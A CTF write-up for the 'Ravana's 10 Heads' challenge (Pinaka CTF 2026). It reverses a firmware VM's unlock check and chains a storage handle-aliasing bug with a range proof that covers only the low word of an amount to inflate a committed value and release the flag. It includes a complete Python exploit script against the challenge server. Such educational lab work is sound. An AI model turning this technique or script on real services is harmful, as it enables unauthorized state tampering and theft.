Ravana's 10 Heads
By Team Cryptonite · 3 min read
About the CTF: Pinaka CTF
Ten crowned heads rule Lanka, and the kingdom trusts whatever they all agree upon. But ten truths, each correct alone, can together swear to something that was never true. Find the eleventh truth and the sovereign…
**Pinaka CTF 2026** · Misc & OSINT · Team Cryptonite · All 44 Pinaka write-ups
Ten crowned heads rule Lanka, and the kingdom trusts whatever they all agree upon. But ten truths, each correct alone, can together swear to something that was never true. Find the eleventh truth and the sovereign falls. Target: http://137.23.48.54:8080/
Solve
The dashboard maps directly onto the API:
| Head | Service | Endpoint |
|---|---|---|
| I Dvara | gateway | POST /gate/session |
| II Pehchan | identity | POST /identity/authorize |
| III Niyama | policy | amount bounds |
| IV Kala | sequencer | POST /sequencer/event |
| V Smriti | storage | /storage/alloc, /free, /snapshot, /recovery_apply |
| VI Pramana | proof | POST /proof/verify |
| VII Maya | client | team header |
| VIII Punarjanma | recovery | POST /firmware/recover |
| IX Sakshi | audit | GET /audit |
| X Rajakosha | vault | POST /vault/release |
The audit evidence also reveals the object identity scheme:
sha256("angada|5") = 60c96c6307c41a5233b420521a0f7baa88a9c5fca00b1c5d545e74fa3ec53f01
sha256("angada|12") = a20d504870acace1bd1314ffbfa7c2bb723a8e903b02176bfd97396dbac0ab41
sha256("sugriva|7") = 91b194d89fa0c323f2d0fad82178d5dd621649c4277ee0f4be88afdd0d8f0aa7
audit-ledger.json, proof-transcripts.json, and state-journal.json all agree with this. The committed object id is just the subject and amount, hashed.
2. The Punarjanma firmware
firmware.rom contains 260 24-bit big-endian words for the VM implemented in recovery-emulator.
Word 0 jumps to word 14. The init block programs several memory-mapped ports:
| Port | Meaning |
|---|---|
| 0x10 | source index |
| 0x11 | destination base |
| 0x12 | word count |
| 0x13 | LCG seed |
| 0x14 | bank |
| 0x15 | trigger operation |
Writing 1 to port 0x15 decrypts four firmware words. The keystream starts at 0xc0de and each step is:
state = (state * 0x19660D + 0x3C6EF3) mod 2^24
Decrypting firmware.rom[0x100:0x104] gives:
0x112233 0x445566 0x778899 0xaabbcc
The main loop then runs a four-stage chain. The VM's opcode 32 is a GF(2^24) multiplier with reduction polynomial 0x100001b.
acc = 0x50554e
rng = 0x5a4b3c
for i in 0..3:
acc = (acc + input[i]) mod 2^24
acc = gf_mul(acc, weight[i])
rng = (rng * 0x19660D + 0x3C6EF3) mod 2^24
acc = acc xor rng
mismatch |= acc xor constant[i]
write mismatch to port 0x50
The four target constants are:
0xF6C2A9 0xA29720 0x4F8923 0xB1E1E9
The VM reports AWAKE only when mismatch == 0, meaning all four stages matched.
3. Reversing the chain
In GF(2^24), division is multiplication by the inverse. Working backwards:
pre_mul[i] = (constant[i] xor rng[i]) * inverse(weight[i])
input[i] = pre_mul[i] - previous_acc
The previous accumulator is 0x50554e for the first word and the previous constant afterwards. This yields:
0x005241 0x005641 0x004e41 0x002121
The low two bytes spell:
RA VA NA !!
So the recovery sequence is:
[21057, 22081, 20033, 8481]

The API accepts the decimal list:
POST /firmware/recover
{"sequence":[21057,22081,20033,8481]}
{"recovery": true, "coordinator_tag": "c891d4e5"}
That switches on Punarjanma and unlocks storage/recovery_apply.
4. Ten true statements, one false total
A normal flow authorizes a small amount and proves it:
POST /identity/authorize
{"subject":"angada","amount":5}
POST /sequencer/event
{"subject":"angada","amount":5}
POST /proof/verify
{"subject":"angada","commitment":commit(5,r),"x":5,"r":r}
The Pedersen commitment is:
commit(x, r) = G^x * H^r mod P
The proof certifies the low 64-bit word is 5 and inside the allowed range. It says nothing about the high 64-bit word.
Every head is satisfied by its own statement:
- identity approved the subject,
- the sequencer committed the event,
- the proof verified the low amount,
- storage held an object,
- the audit recorded the action,
- the vault saw a valid-looking object.
Together, they still never proved anything about the full 128-bit amount.
5. The storage alias
The storage allocator can be made to hand the same backing object to two owners around a snapshot. The sequence is:
POST /storage/alloc- receive handleh.POST /storage/freewithh- free the first reference.- Commit the authorized object with
/sequencer/event; the committed object reuses the freed base. POST /storage/freewithhagain - free the stale handle before the snapshot.POST /storage/snapshot- take the checkpoint.
After the snapshot, the stale handle still aliases the committed object's storage. Recovery mode then lets us write its high word through that alias:
POST /storage/recovery_apply
{"target_id":"<committed id>","handle":h,"hi":18446744073709551616}
18446744073709551616 is 2^64. The object amount becomes:
hi * 2^64 + low = 2^64 * 2^64 + 5 = 2^128 + 5
That is larger than any possible 128-bit amount. The proof still verifies because it only covered the low word; the high word was changed after the proof.
6. Release
Finally:
POST /vault/release
{"id":"<committed id>"}
The vault sees an impossible state and releases the flag:
script.py
import sys
import json
import secrets
import urllib.request
from pathlib import Path
ROOT = Path(__file__).resolve().parent
sys.path.insert(0, str(ROOT / "source"))
from crypto import Q, commit
MASK = 0xFFFFFF
POLY = 0x100001B
CONSTS = [0xF6C2A9, 0xA29720, 0x4F8923, 0xB1E1E9]
def gf_mul(a, b):
r = 0
for _ in range(24):
if b & 1:
r ^= a
b >>= 1
a <<= 1
if a & 0x1000000:
a ^= POLY
return r & MASK
def gf_pow(a, e):
r = 1
while e:
if e & 1:
r = gf_mul(r, a)
a = gf_mul(a, a)
e >>= 1
return r
def recovery_sequence():
data = (ROOT / "binaries" / "firmware.rom").read_bytes()
rom = [int.from_bytes(data[i:i + 3], "big") for i in range(0, len(data), 3)]
state = 0xC0DE
weights = []
for i in range(4):
state = (state * 0x19660D + 0x3C6EF3) & MASK
weights.append(rom[0x100 + i] ^ state)
acc = 0x50554E
rng = 0x5A4B3C
sequence = []
for i, const in enumerate(CONSTS):
rng = (rng * 0x19660D + 0x3C6EF3) & MASK
before = gf_mul(const ^ rng, gf_pow(weights[i], MASK - 1))
sequence.append((before - acc) & MASK)
acc = const
return sequence
def field(obj, *names):
if isinstance(obj, dict):
for name in names:
if obj.get(name) is not None:
return obj[name]
if isinstance(obj, str):
return obj
return None
def main():
base = sys.argv[1] if len(sys.argv) > 1 else "http://137.23.48.54:8080"
sequence = recovery_sequence()
print("sequence:", sequence)
team = None
def post(path, body=None):
headers = {"Content-Type": "application/json"}
if team:
headers["X-Team"] = team
request = urllib.request.Request(
base + path,
data=json.dumps(body or {}).encode(),
headers=headers,
method="POST",
)
with urllib.request.urlopen(request, timeout=30) as response:
return json.loads(response.read())
session = post("/gate/session")
team = field(session, "team", "id")
alloc = post("/storage/alloc")
handle = field(alloc, "handle", "id", "object", "token")
post("/storage/free", {"handle": handle})
subject = "angada"
amount = 5
r = secrets.randbelow(Q)
auth = post("/identity/authorize", {"subject": subject, "amount": amount})
target_id = field(auth, "id", "object_id", "target_id")
post("/sequencer/event", {"subject": subject, "amount": amount})
post("/proof/verify", {"subject": subject, "commitment": commit(amount, r), "x": amount, "r": r})
post("/storage/free", {"handle": handle})
post("/storage/snapshot")
post("/firmware/recover", {"sequence": sequence})
post("/storage/recovery_apply", {"target_id": target_id, "handle": handle, "hi": 1 << 64})
result = post("/vault/release", {"id": target_id})
print(result.get("flag", result) if isinstance(result, dict) else result)
if __name__ == "__main__":
main()
Flag:
PINAKA{ten_heads_agreed_on_a_truth_that_never_was}